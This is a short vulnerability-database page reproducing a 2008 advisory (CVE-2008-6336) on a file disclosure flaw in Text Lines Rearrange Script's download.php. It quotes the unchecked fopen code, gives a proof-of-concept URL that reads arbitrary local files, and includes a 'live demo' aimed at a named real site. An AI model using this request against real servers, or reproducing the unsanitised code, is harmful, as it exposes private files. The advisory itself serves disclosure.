Text Lines Rearrange Script - 'Filename' File Disclosure

🗓️ 22 Dec 2008 00:00:00Reported by SirGodType

Text Lines Rearrange Script File Disclosure Vulnerability. PoC for download.ph

Reporter	Title	Published	Views	Family All 6
Circl	CVE-2008-6336	22 Dec 200800:00	–	circl
CVE	CVE-2008-6336	27 Feb 200917:00	–	cve
Cvelist	CVE-2008-6336	27 Feb 200917:00	–	cvelist
EUVD	EUVD-2008-6306	7 Oct 202500:30	–	euvd
NVD	CVE-2008-6336	27 Feb 200917:30	–	nvd
Prion	Directory traversal	27 Feb 200917:30	–	prion

#############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
Disclosure Vulnerability
[+] Discovered By SirGod
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

 [+] File Disclosure Vulnerability

  Vulnerable Code in download.php :

-----------------------------------------------------

if(file_exists($filename))
{
	$fp=fopen($filename,"r");
	$content=fread($fp,filesize($filename));
	fclose($fp);

------------------------------------------------------

 PoC :

  http://[target]/[path]/download.php?filename=[Local File]

 Example :

  http://[target]/[path]/download.php?filename=index.php

 Live Demo :

  http://www.rightscripts.com/listrearrange/download.php?filename=index.php

#############################################################################################

# milw0rm.com [2008-12-22]

05 Jan 2017 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.02202